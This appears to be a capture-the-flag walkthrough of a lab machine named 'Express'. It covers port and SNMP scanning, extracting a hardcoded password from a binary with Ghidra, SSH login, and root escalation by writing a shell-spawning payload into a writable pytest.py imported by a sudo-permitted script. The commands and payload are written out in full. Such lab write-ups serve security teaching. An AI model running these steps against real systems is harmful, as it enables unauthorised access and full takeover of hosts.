Skip to main content

Express

export TARGET_IP=172.17.0.2
sudo nmap -Pn -sS -p- $TARGET_IP
PORT   STATE SERVICE
22/tcp open ssh
80/tcp open http

UDP Port Scanning

UDP port scanning was performed to identify services that utilize the connectionless UDP protocol. UDP is often used for services like DNS, SNMP, DHCP, and some VPN protocols.

An initial, rapid UDP scan was conducted to quickly identify potentially open UDP ports. This scan utilized the --min-rate parameter to increase the scanning speed, prioritizing efficiency over absolute thoroughness.

nmap -p- --open -sU --min-rate 3000 -n -Pn $TARGET_IP -oA initial_udp_scan
grep "open" initial_udp_scan.gnmap
Not shown: 65288 open|filtered udp ports (no-response), 246 closed udp ports (port-unreach)
PORT STATE SERVICE
161/udp open snmp

Considerations for UDP Scanning

It is important to note that UDP scanning presents unique challenges:

  • Speed vs. Reliability: Increasing the scan rate (--min-rate) can lead to missed ports due to network congestion or the target's inability to process packets quickly enough.
  • open|filtered Ambiguity: UDP scans often produce open|filtered results when nmap receives no response. This means the port might be open, or a firewall might be silently dropping packets.
  • Verification: Further investigation is crucial to confirm whether ports identified as open or open|filtered are truly open and to identify the service running on them.

Thorough UDP Scan (Optional)

A slower and more comprehensive UDP scan can be performed using the following command. This should be used if a faster scan doesn't give the expected results or if a higher degree of certainty is necessary. It should be noted that this can be extremely time-consuming.

nmap -p- -sU -n -Pn -T4 $TARGET_IP -oA thorough_udp_scan

Further Analysis of UDP Port 161 (SNMP)

SNMP Service Confirmation and Version Detection

To confirm the presence of SNMP and determine its version, nmap was used with service version detection:

nmap -sU -sV -p 161 $TARGET_IP -oA snmp_version_scan

Results:

PORT    STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: Host: f7c1d51aa808

Analysis:

  • The scan confirmed that port 161 is open and running both SNMPv1 and an SNMPv3 server (net-snmp) that is accessible with the community string "public".
  • The MAC address of the target was also obtained.
  • The hostname f7c1d51aa808 was identified.

Information Gathering with snmpwalk

Using the discovered "public" community string, snmpwalk was employed to retrieve information from the target's SNMP agent:

snmpwalk -c public -v1 172.17.0.2

Significant Findings:

...
iso.3.6.1.2.1.1.4.0 = STRING: "Me <admin@express.dl>"
...

Analysis:

  • The system.sysContact.0 OID revealed a potential email address: admin@express.dl.
  • The portion after the "@" symbol, express.dl, is likely part of the target's domain name.

Domain Discovery and Web Server Enumeration

Based on the information gathered from SNMP, the following steps were taken:

  1. DNS Resolution Override: The /etc/hosts file was modified to map the suspected domain express.dl to the target's IP address:

    172.17.0.2    express.dl
  2. robots.txt Enumeration: Accessing http://express.dl/robots.txt revealed the following entries:

    disable: binary/*
    disable: secret/note.txt

Analysis:

  • Accessing http://express.dl/secret/note.txt resulted in a 404 (Not Found) error. However, this doesn't confirm that the file doesn't exist. It could also imply that the webserver is configured to deny direct access to that particular file.
  • Further investigation revealed that the binary directory contained an executable file named "game".

Binary Game Reverse Engineering and Key Extraction

The target binary, game, was downloaded and executed as follows:

wget http://express.dl/binary/game
chmod +x game
./game

The game presented a challenge:

Bienvenido al juego de adivinar el número.
Debes adivinar el número correctamente 100 veces para obtener la clave secreta.

Adivina el número (intento #1 de 100):

Requiring 100 consecutive correct guesses to reveal a secret key appeared inefficient. Reverse engineering the binary was deemed a more effective approach.

Static Analysis with Ghidra

The binary was loaded into Ghidra for static analysis. A function named hidden_key immediately stood out. Examining its decompiled C code revealed the mechanism for generating the secret key:

void hidden_key(void)

{
undefined8 local_28;
undefined2 local_20;
undefined6 uStack_1e;
undefined2 uStack_18;
undefined8 local_16;
uint local_c;

local_28 = 0x6472307773734050;
local_20 = 0x2321;
uStack_1e = 0x313532302d2d;
uStack_18 = 0x3336;
local_16 = 0x45464e4773756866;
puts(&DAT_00102008);
printf("La clave secreta es: ");
for (local_c = 0; local_c < 0x1a; local_c = local_c + 1) {
putchar((int)*(char *)((long)&local_28 + (long)(int)local_c));
}
putchar(10);
return;
}

Observations:

  1. Direct Key Output: The hidden_key function prints the secret key directly to standard output.
  2. Hexadecimal Storage: The key is stored as a series of hexadecimal values within local variables.
  3. Iterative Printing: A for loop iterates 26 times (0x1a), printing each character of the key using putchar.

Key Reconstruction

The hexadecimal values within the hidden_key function represent the secret key in little-endian byte order. To reconstruct the key, the following steps were performed for each variable:

  1. Reverse Byte Order: The byte order within each hexadecimal value was reversed (e.g., 0x6472307773734050 became 50 40 73 73 77 30 72 64).
  2. Hex to ASCII: The reversed hexadecimal pairs were converted to their ASCII character equivalents.

Detailed Breakdown:

VariableHex ValueReversed Hex (2-byte pairs)ASCII
local_280x647230777373405050 40 73 73 77 30 72 64P@ssw0rd
local_200x232121 23!#
uStack_1e0x313532302d2d2D 2D 30 32 35 31--0251
uStack_180x333636 3363
local_160x45464e477375686666 68 75 73 47 4E 46 45fhusGNFE

Each conversion can be verified using the following command (example for local_28):

echo -n "5040737377307264" | xxd -r -p

Final Key Assembly

Concatenating the ASCII representations in the order they appear in the code yields the complete secret key:

echo -n "504073737730726421232d2d30323531363366687573474e4645" | xxd -r -p

Output:

P@ssw0rd!#--025163fhusGNFE

Privilege Escalation

Establishing SSH Connection

Based on prior reconnaissance (specifically the email address admin@express.dl found on a UDP port), it was hypothesized that admin was a valid username on the target system. An SSH connection was attempted:

ssh admin@$TARGET_IP

Using the previously extracted secret key (P@ssw0rd!#--025163fhusGNFE) as the password, the SSH connection was successfully established.

Identifying Sudo Permissions

The sudo -l command was used to list the commands that the admin user could execute with elevated privileges:

sudo -l

Output:

Matching Defaults entries for admin on f7c1d51aa808:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User admin may run the following commands on f7c1d51aa808:
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/script.py

This output indicates that the admin user can execute /usr/bin/python3 /opt/script.py as root without requiring a password.

Analyzing /opt/script.py and Identifying a Writable Library

Further investigation of /opt/script.py revealed that it imported the pytest module. The find command was used to locate the pytest.py module on the system:

find / -name "pytest.py" 2>/dev/null

Output:

/usr/lib/python3.12/pytest.py

Checking the permissions of this file using ls -la revealed that the admin group had write access:

ls -la /usr/lib/python3.12/pytest.py

Output:

-rwxrwxr-x 1 root admin 46 Jan 17 10:54 /usr/lib/python3.12/pytest.py

Exploiting the Writable Library

Because admin could run /opt/script.py as root, and /opt/script.py imported pytest, and admin had write access to /usr/lib/python3.12/pytest.py, it was possible to inject code into pytest.py that would be executed with root privileges when /opt/script.py was run.

echo "import os; os.setuid(0); os.system(\"/bin/bash\")" > /usr/lib/python3.12/pytest.py
sudo python3 /opt/script.py

Now we are root.